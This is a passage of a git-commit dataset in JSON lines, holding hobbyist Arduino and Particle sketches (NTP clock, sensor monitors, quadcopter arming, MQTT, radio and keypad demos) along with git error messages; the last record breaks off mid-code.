Library","repos":"GeoffDay\/SparkTime,bkobkobko\/SparkTime,pbystrup\/SparkTime,nosdakota\/SparkTime","old_file":"firmware\/examples\/SparkTimeExample.ino","new_file":"firmware\/examples\/SparkTimeExample.ino","new_contents":"\/\/ This #include statement was automatically added by the Spark IDE.\n#include \"SparkTime.h\"\n\nUDP UDPClient;\nSparkTime rtc;\n\nunsigned long currentTime;\nunsigned long lastTime = 0UL;\nString timeStr;\n\nvoid setup() {\n rtc.begin(&UDPClient, \"north-america.pool.ntp.org\");\n rtc.setTimeZone(-5); \/\/ gmt offset\n Serial.begin(9600);\n}\n\nvoid loop() {\n currentTime = rtc.now();\n if (currentTime != lastTime) {\n byte sec = rtc.second(currentTime);\n if (sec == 10) {\n\t\/\/ Build Date String\n\ttimeStr = \"\";\n\ttimeStr += rtc.dayOfWeekString(currentTime);\n\ttimeStr += \", \";\n\ttimeStr += rtc.monthNameString(currentTime);\n\ttimeStr += \" \"; \n\ttimeStr += rtc.dayString(currentTime);\n\ttimeStr += \", \";\n\ttimeStr += rtc.yearString(currentTime);\n\tSerial.print(timeStr);\n } else if (sec == 40) {\n\t\/\/ Including current timezone\n\tSerial.print(rtc.ISODateString(currentTime));\n } else if (sec == 50) {\n\t\/\/ UTC or Zulu time\n\tSerial.print(rtc.ISODateUTCString(currentTime));\t\n } else {\n\t\/\/ Just the time in 12 hour format\n\ttimeStr = \"\";\n\ttimeStr += rtc.hour12String(currentTime);\n\ttimeStr += \":\";\n\ttimeStr += rtc.minuteString(currentTime);\n\ttimeStr += \":\";\n\ttimeStr += rtc.secondString(currentTime);\t\n\ttimeStr += \" \";\t\n\ttimeStr += rtc.AMPMString(currentTime);\n\tSerial.print(timeStr);\n }\n lastTime = currentTime;\n }\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'firmware\/examples\/SparkTimeExample.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"d0f29803f5b3d16c66c08c1d20fe59e83d7b2860","subject":"arduino sketch to measure a few sensors","message":"arduino sketch to measure a few sensors\n","repos":"cyrillegin\/Aquaponics,cyrillegin\/Aquaponics,cyrillegin\/Aquaponics,cyrillegin\/Aquaponics,cyrillegin\/Aquaponics","old_file":"firmware\/stations\/kitchen-control\/kitchen-control.ino","new_file":"firmware\/stations\/kitchen-control\/kitchen-control.ino","new_contents":"#include <LiquidCrystal.h>\nLiquidCrystal lcd (12, 11, 5, 4, 3, 2);\n\nconst int buttonPin = 6;\nconst int sensorPin = A0;\nconst int alarmPin = 7;\nconst int led1 = 8;\nconst int led2 = 9;\nconst int led3 = 10;\n\n\/\/ Used for initial thermocouple reading.\nint sensorValue = 0;\nfloat thermoCoupleValue = 0;\nfloat oneWireValue = 0;\n\nbool alarmState = 0;\nbool buttonState = 0;\nint programState = 0;\n\nunsigned long lastMillis = millis();\nunsigned long currentMillis = millis();\nunsigned long thermoCoupleTimer = 0;\nunsigned long oneWireTimer = 0;\nint thermoCoupleRate = 10 * 1000;\nint oneWireRate = 10 * 1000;\n\nString str = \"\";\n\nvoid setup() {\n lcd.begin(16, 2);\n pinMode(buttonPin, INPUT);\n pinMode(led1, OUTPUT);\n digitalWrite(led1, HIGH);\n pinMode(led2, OUTPUT);\n digitalWrite(led2, LOW);\n pinMode(led3, OUTPUT);\n digitalWrite(led3, LOW);\n Serial.begin(9600);\n}\n\n\nvoid loop() {\n checkButton();\n currentMillis = millis();\n thermoCoupleTimer += currentMillis - lastMillis;\n oneWireTimer += currentMillis - lastMillis;\n \n lastMillis = currentMillis;\n if (thermoCoupleTimer > thermoCoupleRate) {\n readThermoCouple();\n updateLCD();\n thermoCoupleTimer = 0;\n }\n if (oneWireTimer > oneWireRate) {\n readOneWire();\n updateLCD();\n oneWireTimer = 0;\n }\n}\n\nvoid checkButton() {\n buttonState = digitalRead(buttonPin);\n if (buttonState == 1) {\n programState += 1;\n if (programState == 3) {\n programState = 0;\n }\n switch(programState) {\n case 0:\n digitalWrite(led3, LOW);\n digitalWrite(led1, HIGH);\n thermoCoupleRate = 60 * 1000;\n oneWireRate = 60 * 1000;\n break;\n case 1:\n digitalWrite(led1, LOW);\n digitalWrite(led2, HIGH);\n thermoCoupleRate = 60 * 1000;\n oneWireRate = 5 * 1000;\n break;\n case 2:\n digitalWrite(led2, LOW);\n digitalWrite(led3, HIGH);\n thermoCoupleRate = 10 * 1000;\n oneWireRate = 60 * 1000;\n break;\n }\n delay(500);\n }\n}\n\nvoid readThermoCouple() {\n alarmState = digitalRead(alarmPin);\n if (alarmState) {\n thermoCoupleValue = 0;\n } else {\n sensorValue = analogRead(sensorPin);\n thermoCoupleValue = adc_to_farhenheight(sensorValue);\n }\n Serial.print(\"{\\\"sensor\\\": {\\\"name\\\": \\\"kitchen-oven\\\", \\\"value\\\": \");\n Serial.print((int)thermoCoupleValue*100);\n Serial.println(\"}}\");\n}\n\nvoid readOneWire() {\n oneWireValue = 60;\n Serial.print(\"{\\\"sensor\\\": {\\\"name\\\": \\\"kitchen-temperature\\\", \\\"value\\\": \");\n Serial.print((int)oneWireValue*100);\n Serial.println(\"}}\");\n}\nint i = 0;\n\nvoid updateLCD() {\n if (alarmState) {\n lcd.setCursor(0, 0);\n lcd.print(\" Warning! \");\n lcd.print(\"Sensor Unplugged\"); \n } else {\n lcd.setCursor(0, 0);\n lcd.print(\"Oven: \");\n lcd.print(thermoCoupleValue);\n lcd.print(\" F\");\n lcd.setCursor(0, 1);\n lcd.print(\"Wire: \");\n lcd.print(oneWireValue);\n lcd.print(\" F \");\n lcd.print(i);\n i += 1;\n }\n}\n\nfloat adc_to_farhenheight(int x){\n return (((float) x \/ 2.046 * 9.0 \/ 5.0) + 32.0);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'firmware\/stations\/kitchen-control\/kitchen-control.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"bfcd96f6e4754d01ab71e85392f0803f6cde9601","subject":"Initial quadcopter code with arming capability","message":"Initial quadcopter code with arming capability\n","repos":"petschekr\/Vertex,petschekr\/Vertex","old_file":"Vertex.ino","new_file":"Vertex.ino","new_contents":"#include <Servo.h>\n#include <Wire.h>\n#include <PID_v1.h>\n#include <Adafruit_Sensor.h>\n#include <Adafruit_LSM303_U.h>\n#include <Adafruit_BMP085_U.h>\n#include <Adafruit_L3GD20_U.h>\n#include <Adafruit_10DOF.h>\n\nServo ESC1;\nServo ESC2;\nServo ESC3;\nServo ESC4;\n\/*\n Motor setup\n 4 1\n \\ \/\n \\___\/\n \/ \\\n \/ \\\n 3 2\n*\/\n\nconst int maxThrottle = 2000;\nconst int minThrottle = 1000;\nconst int armLED = A1;\nconst int readyLED = A0;\nconst int armButton = 2;\nboolean armed = false;\n\nAdafruit_LSM303_Accel_Unified accel = Adafruit_LSM303_Accel_Unified(30301);\nAdafruit_LSM303_Mag_Unified mag = Adafruit_LSM303_Mag_Unified(30302);\nAdafruit_BMP085_Unified bmp = Adafruit_BMP085_Unified(18001);\nAdafruit_L3GD20_Unified gyro = Adafruit_L3GD20_Unified(20);\n\nvoid setup () {\n#ifdef DEBUG\n Serial.begin(115200);\n while (!Serial) {};\n#endif\n ESC1.attach(5);\n ESC2.attach(6);\n ESC3.attach(7);\n ESC4.attach(8);\n setThrottleAll(0);\n\n pinMode(armLED, OUTPUT);\n pinMode(readyLED, OUTPUT);\n pinMode(armButton, INPUT);\n digitalWrite(armLED, LOW);\n digitalWrite(readyLED, HIGH);\n \/\/ Set up PID controllers\n PID pitchPID(&Input, &Output, &Setpoint, Kp, Ki, Kd, DIRECT);\n PID rollPID(&Input, &Output, &Setpoint, Kp, Ki, Kd, DIRECT);\n PID yawPID(&Input, &Output, &Setpoint, Kp, Ki, Kd, DIRECT);\n PID altitudePID(&Input, &Output, &Setpoint, Kp, Ki, Kd, DIRECT);\n\n setThrottleAll(minThrottle);\n \/\/ Wait until armed\n while (digitalRead(armButton) != HIGH) {\n delay(10);\n }\n \/\/ Arm button pressed, arm the quadcopter\n digitalWrite(readyLED, LOW);\n unsigned int startTime = (int)millis();\n boolean armLEDOn = false;\n \/\/ Blink the LED while we wait for the ESCs to arm for 5 seconds\n while ((int)millis() - startTime < 5000) {\n if (armLEDOn) {\n digitalWrite(armLED, LOW);\n armLEDOn = !armLEDOn;\n delay(250);\n }\n else {\n digitalWrite(armLED, HIGH);\n delay(250);\n armLEDOn = !armLEDOn;\n }\n }\n digitalWrite(armLED, HIGH);\n}\n\nvoid loop () {\n \n}\n\nvoid setThrottleAll (int throttle) {\n setThrottle(1, throttle);\n setThrottle(2, throttle);\n setThrottle(3, throttle);\n setThrottle(4, throttle);\n}\nvoid setThrottle (int index, int throttle) {\n if (index == 1)\n ESC1.writeMicroseconds(throttle);\n if (index == 2)\n ESC2.writeMicroseconds(throttle);\n if (index == 3)\n ESC3.writeMicroseconds(throttle);\n if (index == 4)\n ESC4.writeMicroseconds(throttle);\n}\nvoid fatalError () {\n setThrottleAll(0);\n while (true) {\n digitalWrite(armLED, LOW);\n digitalWrite(readyLED, LOW);\n delay(250);\n digitalWrite(armLED, HIGH);\n digitalWrite(readyLED, HIGH);\n delay(250);\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Vertex.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"8761995905dc641d956a5ba673be578656783397","subject":"Added GPS device compatibility","message":"Added GPS device compatibility\n","repos":"jadalqui\/ha_arduino,jadalqui\/ha_arduino","old_file":"ha_esp8266\/ha_esp8266.ino","new_file":"ha_esp8266\/ha_esp8266.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/jadalqui\/ha_arduino.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"4bd5c6d9e87524db636364cf6f9e744e1f03fb2b","subject":"Initial revision of an MQTT-enabled sensor","message":"Initial revision of an MQTT-enabled sensor\n","repos":"glpatcern\/domotica,glpatcern\/domotica,glpatcern\/domotica","old_file":"Particle\/THLMqttSensor\/THLMqttSensor.ino","new_file":"Particle\/THLMqttSensor\/THLMqttSensor.ino","new_contents":"\/******************************************************************************\n * Project THLMqttSensor\n * Description: An MQTT-enabled temperature-humidity-luminosity sensor\n * Author: Giuseppe Lo Presti, glopresti@gmail.com\n *\n * Changelog:\n * v1.0 - 30-06-2017: initial revision merging THDweeter and LuxSensor\n ******************************************************************************\/\n\n\/\/ This #include statement was automatically added by the Particle IDE.\n#include <MQTT.h>\n\nSYSTEM_MODE(SEMI_AUTOMATIC); \/\/ do not use the Particle cloud\n\nint photoPin = A5; \/\/ photoresistor pin\nint powerPin = A0; \/\/ the other leg of the photoresistor\nint readoutTimeIntervalMins = 2; \/\/ perform a readout every given minutes\n\n\/**\n * if want to use IP address,\n * byte server[] = { XXX,XXX,XXX,XXX };\n * MQTT client(server, 1883, callback);\n **\/\nMQTT client(\"broker.hivemq.com\", 1883, callback);\n\nlong lastReadoutTime = 0; \/\/ timestamp of the last readout\nfloat lux, lmin, lmax;\nint day = 0;\nbool buttonPressed = false;\n\nvoid setup() {\n pinMode(photoPin, INPUT); \/\/ prepare the photoresistor\n pinMode(powerPin, OUTPUT);\n pinMode(D7, OUTPUT); \/\/ the integrated LED signals readout errors\n digitalWrite(powerPin, HIGH);\n\n \/\/ connect to the MQTT server\n client.connect(\"glp_photon\");\n\n \/\/ publish\/subscribe\n if(client.isConnected()) {\n client.publish(\"message\",\"hello world\");\n client.subscribe(\"readout\");\n }\n}\n\n\nvoid callback(char* topic, byte* payload, unsigned int length) {\n \/\/char p[length + 1];\n \/\/memcpy(p, payload, length);\n \/\/p[length] = NULL;\n \/\/ signal we got the callback \n digitalWrite(D7, HIGH);\n delay(500);\n digitalWrite(D7, LOW);\n delay(100);\n digitalWrite(D7, HIGH);\n delay(500);\n digitalWrite(D7, LOW);\n \/\/ and force a readout as if the button were pressed\n readout(true);\n}\n\n\nint getAndStoreValues() {\n lux = analogRead(photoPin) \/ 4096.0 * 100; \/\/ scale to [0..100]\n \/\/ reset every day the max and min values\n if(Time.day() != day) {\n day = Time.day();\n lmin = lmax = lux;\n }\n \/\/ and update them at every readout\n if(lux < lmin) {\n lmin = lux;\n }\n else if(lux > lmax) {\n lmax = lux;\n }\n return 0;\n}\n\n\nint readout(bool button) {\n \/\/ wake up WiFi\n WiFi.on();\n WiFi.connect();\n \/\/ get and store current values\n if(getAndStoreValues()) {\n \/\/ failed to read out, try again right away\n lastReadoutTime = 0;\n return -1;\n }\n \/\/ cast floats to strings\n String sl(lux, 0);\n String slmin(lmin, 0);\n String slmax(lmax, 0);\n \/\/ generate the payload\n String payload = \"{lux: \" + sl +\n \/\/ also publish daily max and min values when button pressed\n (button ? \", lmin: \" + slmin + \", lmax: \" + slmax : \"\") +\n \"}\";\n \/\/ make sure we're online\n waitUntil(WiFi.ready);\n \/\/ publish data to the MQTT broker\n if(!client.publish(\"luxdata\", payload)) {\n return -1;\n }\n digitalWrite(D7, LOW);\n return 0;\n}\n\n\nvoid loop() {\n \/\/ main MQTT client loop\n if (client.isConnected())\n client.loop();\n \/\/ handle button and periodic readouts\n int pushButtonState = HIGH;\n if(pushButtonState == LOW) {\n \/\/ button was pressed, readout\n if(readout(true)) {\n \/\/ something went wrong, signal the error by switching the LED on\n digitalWrite(D7, HIGH);\n }\n \/\/ keep WiFi on for other Photon activities\/upgrades\n }\n else {\n \/\/ force a readout after the given time interval\n if(Time.now() - lastReadoutTime >= readoutTimeIntervalMins*60) {\n \/\/ for regular readouts, record the time of this readout: this way,\n \/\/ we make the readings as evenly spread in time as possible\n lastReadoutTime = Time.now();\n if(readout(false)) {\n \/\/ something went wrong, signal the error by switching the LED on\n digitalWrite(D7, HIGH);\n }\n else {\n \/\/ all right, turn off WiFi to spare power\n WiFi.off();\n }\n }\n }\n \/\/ loop at 5 Hz to catch button press events\n delay(200);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Particle\/THLMqttSensor\/THLMqttSensor.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"c4e065e46cb3ba08e8879de4b76455690a63c115","subject":"developing adjustment","message":"developing adjustment\n","repos":"omnbmh\/pi6x,omnbmh\/pi6x,omnbmh\/pi6x,omnbmh\/pi6x","old_file":"hardware\/arduino_uno\/\u56db\u9a71\u8f66\/code\/code.ino","new_file":"hardware\/arduino_uno\/\u56db\u9a71\u8f66\/code\/code.ino","new_contents":"\nint enablePin = 11;\nint in1Pin = 10;\nint in2Pin = 9;\n\nint speed = 255;\nboolean direction = 0;\n\nvoid setMotor(int speed, boolean reverse){\n analogWrite(enablePin, speed);\n digitalWrite(in1Pin, !reverse);\n digitalWrite(in2Pin, reverse);\n}\n\nvoid setup(){\n pinMode(in1Pin, OUTPUT);\n pinMode(in2Pin, OUTPUT);\n pinMode(enablePin, OUTPUT);\n \n pinMode(13, OUTPUT);\n}\n\nvoid loop(){\n setMotor(speed,direction);\n digitalWrite(13, HIGH);\n}\n\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'hardware\/arduino_uno\/\u56db\u9a71\u8f66\/code\/code.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"4bea2c8b5e29364248b853e6b857dd58a6f5bc3a","subject":"Keypad example with Arduino shield","message":"Keypad example with Arduino shield\n","repos":"jvm123\/iolinker,jvm123\/iolinker,jvm123\/iolinker","old_file":"arduino_shield_keypad.ino","new_file":"arduino_shield_keypad.ino","new_contents":"#include <SPI.h>\n#include <Wire.h>\n#include <IOLinker.h>\n\nIOLinker iolinker;\n\nvoid resetschematic() {\n iolinker.pwm(127, 1, 49);\n iolinker.clearPinFunctions(1, 49);\n iolinker.setPinType(IOLinker::IOLINKER_INPUT, 1, 49);\n}\n\n\/** Keypad definitions **\/\n\n#define KEYPAD_INVERTX \/*< Invert pin direction *\/\n\/\/#define KEYPAD_INVERTY \/*< Invert pin direction *\/\n#define PIN_INTERVAL 2 \/*< Use every second pin *\/\n#define KEYPAD_COLS 4 \/*< Column count *\/\n#define KEYPAD_ROWS 4 \/*< Row count *\/\n#define KEYPAD_ROW0 34 \/*< Lowest pin the keypad is connected to *\/\n#define KEYPAD_COL0 (KEYPAD_ROW0 + PIN_INTERVAL * KEYPAD_ROWS)\n\nchar keypad[KEYPAD_ROWS][KEYPAD_COLS] = {\n { '1', '2', '3', 'A' },\n { '4', '5', '6', 'B' },\n { '7', '8', '9', 'C' },\n { '*', '0', '#', 'D' } }; \/*< Keypad buttons *\/\n\n\/*! \\brief Read in the currently pressed keypad button\n \\return The button character is returned, or '-' if no button press\n is detected\n*\/\nchar button_press() {\n \/* Set all pins as pulldown input *\/\n iolinker.setPinType(IOLinker::IOLINKER_INPUT, KEYPAD_ROW0,\n KEYPAD_ROW0 + KEYPAD_ROWS * PIN_INTERVAL);\n iolinker.setPinType(IOLinker::IOLINKER_INPUT, KEYPAD_COL0,\n KEYPAD_COL0 + KEYPAD_COLS * PIN_INTERVAL);\n\n \/* Cycle through columns *\/\n for (uint8_t i = 0; i < KEYPAD_COLS; i++) {\n \/* One column is a high output, all other columns are\n configured as input *\/\n iolinker.setPinType(IOLinker::IOLINKER_OUTPUT,\n KEYPAD_COL0 + i*PIN_INTERVAL);\n iolinker.setOutput(false, KEYPAD_COL0 + i*PIN_INTERVAL);\n\n \/* Read in rows *\/\n \/\/uint8_t s[20];\n \/\/iolinker.readInput(s, sizeof(s), KEYPAD_ROW0,\n \/\/ KEYPAD_ROW0 + (KEYPAD_ROWS-1)*PIN_INTERVAL);\n\n for (uint8_t k = 0; k < KEYPAD_ROWS; k++) {\n if (iolinker.readInput(KEYPAD_ROW0 + k*PIN_INTERVAL)) {\n continue;\n }\n \/\/printf(\"%d high, %d, %d\\n\", KEYPAD_ROW0 + k*PIN_INTERVAL, i, k);\n\n \/* Row input is high, i.e. we found a pressed key *\/\n#ifdef KEYPAD_INVERTY\n uint8_t tmp = k;\n k = i;\n i = tmp;\n#endif\n#ifndef KEYPAD_INVERTX\n return keypad[i][k];\n#else\n return keypad[KEYPAD_ROWS - 1 - i][KEYPAD_COLS - 1 - k];\n#endif\n }\n\n \/* Reset column to input state *\/\n iolinker.setOutput(true, KEYPAD_COL0 + i*PIN_INTERVAL);\n iolinker.setPinType(IOLinker::IOLINKER_INPUT,\n KEYPAD_COL0 + i*PIN_INTERVAL);\n }\n\n return '-';\n}\n\nvoid setup() {\n Serial.begin(9600);\n Serial1.begin(115200);\n \n while (!Serial1) {\n ; \/\/ wait for serial port to connect. Needed for Leonardo only\n }\n\n iolinker.beginStream(Serial1); \/\/ Connect to iolinker chip via UART\n \/\/iolinker.beginSPI(); \/\/ Connect to iolinker chip via SPI\n \/\/iolinker.beginI2C(); \/\/ Connect to iolinker chip via I2C\n iolinker.targetAddress(0x7f); \/\/ Address of the chip to connect to\n resetschematic();\n}\n\nvoid loop() {\n char btn = button_press();\n Serial.print(\"Button press: \");\n Serial.print(btn);\n Serial.println(\".\");\n delay(100);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino_shield_keypad.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"4b4416e7594cb24f364601f1b36aa53612911b38","subject":"AdruinoLED","message":"AdruinoLED","repos":"Libs1\/Libs1.github.io,Libs1\/Libs1.github.io,Libs1\/Libs1.github.io,Libs1\/Libs1.github.io,Libs1\/Libs1.github.io,Libs1\/Libs1.github.io,Libs1\/Libs1.github.io","old_file":"files\/ArduinoLED.ino","new_file":"files\/ArduinoLED.ino","new_contents":"#include <nRF24L01.h>\n#include <printf.h>\n#include <RF24.h>\n#include <RF24_config.h>\n\n\n\/*\n* Getting Started example sketch for nRF24L01+ radios\n* This is a very basic example of how to send data from one node to another\n* Updated: Dec 2014 by TMRh20\n*\/\n\n#include <SPI.h>\n#include \"RF24.h\"\n\n\n#define LED_GREEN 3\n#define LED_RED 4\n\n\/****************** User Config ***************************\/\n\/*** Set this radio as radio number 0 or 1 ***\/\nbool radioNumber = 0;\n\n\/* Hardware configuration: Set up nRF24L01 radio on SPI bus plus pins 7 & 8 *\/\nRF24 radio(9,10);\n\/**********************************************************\/\n\nbyte addresses[][6] = {\"1Node\",\"2Node\"};\n\n\/\/ Used to control whether this node is sending or receiving\nbool role = 0;\n\nvoid setup() {\n \n pinMode(LED_GREEN, OUTPUT);\n pinMode(LED_RED, OUTPUT);\n \n Serial.begin(115200);\n Serial.println(F(\"RF24\/examples\/GettingStarted\"));\n Serial.println(F(\"*** PRESS 'T' to begin transmitting to the other node\"));\n \n radio.begin();\n\n \/\/ Set the PA Level low to prevent power supply related issues since this is a\n \/\/ getting_started sketch, and the likelihood of close proximity of the devices. RF24_PA_MAX is default.\n radio.setPALevel(RF24_PA_LOW);\n \n \/\/ Open a writing and reading pipe on each radio, with opposite addresses\n if(radioNumber){\n radio.openWritingPipe(addresses[1]);\n radio.openReadingPipe(1,addresses[0]);\n }else{\n radio.openWritingPipe(addresses[0]);\n radio.openReadingPipe(1,addresses[1]);\n }\n \n \/\/ Start the radio listening for data\n radio.startListening();\n}\n\nvoid loop() {\n \n \n\/****************** Ping Out Role ***************************\/ \nif (role == 1) {\n \n radio.stopListening(); \/\/ First, stop listening so we can talk.\n \n \n Serial.println(F(\"Now sending\"));\n\n unsigned long start_time = micros(); \/\/ Take the time, and send it. This will block until complete\n \n if (!radio.write( &start_time, sizeof(unsigned long) ))\n {\n Serial.println(F(\"failed\"));\n }\n \n radio.startListening(); \/\/ Now, continue listening\n \n unsigned long started_waiting_at = micros(); \/\/ Set up a timeout period, get the current microseconds\n boolean timeout = false; \/\/ Set up a variable to indicate if a response was received or not\n \n while ( ! radio.available() ){ \/\/ While nothing is received\n if (micros() - started_waiting_at > 200000 ){ \/\/ If waited longer than 200ms, indicate timeout and exit while loop\n timeout = true;\n break;\n } \n }\n \n if ( timeout ){ \/\/ Describe the results\n Serial.println(F(\"Failed, response timed out.\"));\n \n digitalWrite(LED_RED, LOW);\n }else{\n digitalWrite(LED_GREEN, HIGH);\n \n unsigned long got_time; \/\/ Grab the response, compare, and send to debugging spew\n radio.read( &got_time, sizeof(unsigned long) );\n unsigned long end_time = micros();\n \n \/\/ Spew it\n Serial.print(F(\"ID Sent: \"));\n Serial.print(start_time);\n Serial.print(F(\"ID_Received: \"));\n Serial.print(got_time);\n \/\/Serial.print(F(\", Round-trip delay \"));\n \/\/Serial.print(end_time-start_time);\n \/\/Serial.println(F(\" microseconds\"));\n Serial.printf(F(\"\\nSuccess\\n\"));\n }\n\n \/\/ Try again 1s later\n delay(1000);\n }\n\n\n\n\/****************** Pong Back Role ***************************\/\n\n if ( role == 0 )\n {\n unsigned long got_time;\n \n if( radio.available()){\n \/\/ Variable for the received timestamp\n while (radio.available()) { \/\/ While there is data ready\n radio.read( &got_time, sizeof(unsigned long) ); \/\/ Get the payload\n }\n \n radio.stopListening(); \/\/ First, stop listening so we can talk \n radio.write( &got_time, sizeof(unsigned long) ); \/\/ Send the final one back. \n radio.startListening(); \/\/ Now, resume listening so we catch the next packets. \n Serial.print(F(\"Sent response \"));\n Serial.println(got_time); \n }\n }\n\n\n\n\n\/****************** Change Roles via Serial Commands ***************************\/\n\n if ( Serial.available() )\n {\n char c = toupper(Serial.read());\n if ( c == 'T' && role == 0 ){ \n Serial.println(F(\"*** CHANGING TO TRANSMIT ROLE -- PRESS 'R' TO SWITCH BACK\"));\n role = 1; \/\/ Become the primary transmitter (ping out)\n \n }else\n if ( c == 'R' && role == 1 ){\n Serial.println(F(\"*** CHANGING TO RECEIVE ROLE -- PRESS 'T' TO SWITCH BACK\")); \n role = 0; \/\/ Become the primary receiver (pong back)\n radio.startListening();\n \n }\n }\n\n\n} \/\/ Loop\n\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'files\/ArduinoLED.ino' did not match any file(s) known to git\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"14cbddbf6304ae20767ce88756d13cfabd07ce2c","subject":"nodemcu and dht11 sensor","message":"nodemcu and dht11 sensor","repos":"corlysis\/scripts,corlysis\/scripts","old_file":"nodemcu_dht11.ino","new_file":"nodemcu_dht11.ino","new_contents":"#include <Wire.h>\n\n#include \"DHTesp.h\"\n\n#include <ESP8266WiFi.h>\n#include <ESP8266HTTPClient.h>\n\n\/\/ Wi-Fi settings\nconst char* ssid = \"YOUR-SSID\";\nconst char* password = \"YOUR-PASSWORD\";\n\n\/\/ Sensor settings\nconst uint8_t sensor_address = 0x76;\n\n\/\/ Corlysis Setting - click to the database to get those info\nconst char* db_name = \"YOUR-DB_NAME\";\nconst char* db_password = \"YOUR-DB-PASSWORD\";\nconst unsigned long delayTimeMs = 20000;\n\n\nDHTesp dht;\nHTTPClient http;\n\n\nvoid setup() {\n Serial.begin(9600);\n Serial.println(\"NodeMCU + DHT11 + Corlysis\");\n\n bool status;\n \n dht.setup(2); \/\/ data pin 2 - D4\n \n delay(100); \/\/ let sensor boot up\n\n \/\/Wi-Fi connection\n Serial.print(\"Connecting to the: \");\n Serial.println(ssid);\n WiFi.mode(WIFI_STA);\n WiFi.begin(ssid, password);\n \n while (WiFi.status() != WL_CONNECTED) {\n delay(100);\n Serial.print(\".\");\n }\n\n Serial.println();\n Serial.println(\"WiFi connected.\");\n Serial.print(\"My IP address: \");\n Serial.println(WiFi.localIP());\n \n}\n\n\nvoid loop() {\n \/\/ read data from sensor\n float temperature = dht.getTemperature();\n float humidity = dht.getHumidity();\n \n sendDataToCorlysis(temperature, humidity);\n \n delay(delayTimeMs);\n}\n\n\nvoid sendDataToCorlysis(float temperature, float humidity) {\n static long counter = 0;\n \n char payloadStr[150];\n sprintf(payloadStr, \"dht11_data temperature=%d.%02d,humidity=%d.%02d\", (int)temperature, (int)abs(temperature*100)%100, \n (int)humidity, (int)abs(humidity*100)%100);\n Serial.println(payloadStr);\n \n char corlysisUrl[200];\n sprintf(corlysisUrl, \"http:\/\/corlysis.com:8087\/write?db=%s&u=token&p=%s\", dbName, dbPassword);\n http.begin(corlysisUrl);\n \/\/HTTPS variant - check ssh public key fingerprint\n \/\/sprintf(corlysisUrl, \"https:\/\/corlysis.com:8086\/write?db=%s&u=token&p=%s\", dbName, dbPassword);\n \/\/http.begin(corlysisUrl, \"92:23:13:0D:59:68:58:83:E6:82:98:EB:18:D7:68:B5:C8:90:0D:03\");\n \n http.addHeader(\"Content-Type\", \"application\/x-www-form-urlencoded\"); \n int httpCode = http.POST(payloadStr);\n Serial.print(\"http result:\");\n Serial.println(httpCode);\n http.writeToStream(&Serial);\n http.end();\n\n if(httpCode == 204) {\n counter = 0;\n Serial.println(\"Data successfully sent.\");\n }else{\n if(counter > 10 && httpCode == -1) {\n Serial.println(\"WiFi: still not connected -> going into deep sleep for 10 seconds.\");\n ESP.deepSleep(10e6);\n }\n counter++;\n Serial.println(\"Data were not sent. Check network connection.\");\n }\n Serial.println(\"\"); \n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'nodemcu_dht11.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"4f7172675c658ea5efe3a65988e5160c0786c554","subject":"Relay test sketch to drive gauge lights","message":"Relay test sketch to drive gauge lights\n","repos":"jlinnosa\/arduino-lfs-outgauge-monitor","old_file":"sketches\/RelayTest1\/RelayTest1.ino","new_file":"sketches\/RelayTest1\/RelayTest1.ino","new_contents":"\/*\n RelayTest1.pde:\n This is a simple sketch to test my LFS OutGauge packet parser.\n It outputs received data on a 8 channel relay board.\n \n Copyright (c) 2013 Jaakko Linnosaari\n\nPermission is hereby granted, free of charge, to any person \nobtaining a copy of this software and associated documentation \nfiles (the \"Software\"), to deal in the Software without \nrestriction, including without limitation the rights to use, \ncopy, modify, merge, publish, distribute, sublicense, and\/or \nsell copies of the Software, and to permit persons to whom the \nSoftware is furnished to do so, subject to the following \nconditions:\n\nThe above copyright notice and this permission notice shall be \nincluded in all copies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, \nEXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES \nOF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND \nNONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT \nHOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, \nWHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING \nFROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR \nOTHER DEALINGS IN THE SOFTWARE.\n \n *\/\n\n\n#include <stdio.h>\n#include <stdint.h>\n#include <SPI.h>\t\t\/\/ needed for Arduino versions later than 0018\n#include <Ethernet.h>\n#include <Udp.h>\n#include <LfsOutGauge.h>\n\n\/\/ do customize these to fit your environment...\n#define LIGHTS_PIN_BASE 30\nuint8_t mac[] = { 0xDE, 0xAD, 0xBE, 0xEF, 0xFE, 0xED };\nuint8_t ip[] = { 192, 168, 10, 128 };\nuint16_t localPort = 6666;\n\nEthernetUDP Udp;\nchar packetBuffer[LFS_MAX_PACKET_SIZE];\n\nvoid setLight(uint8_t l, uint32_t state)\n{\n \/\/ I use every other pin, so multiply pin index by 2...\n \tdigitalWrite(LIGHTS_PIN_BASE + l*2, state==0 ? LOW : HIGH);\n}\n\nvoid setup()\n{\n\tEthernet.begin(mac, ip);\n\tUdp.begin(localPort);\n\n \/\/ init light pins to output 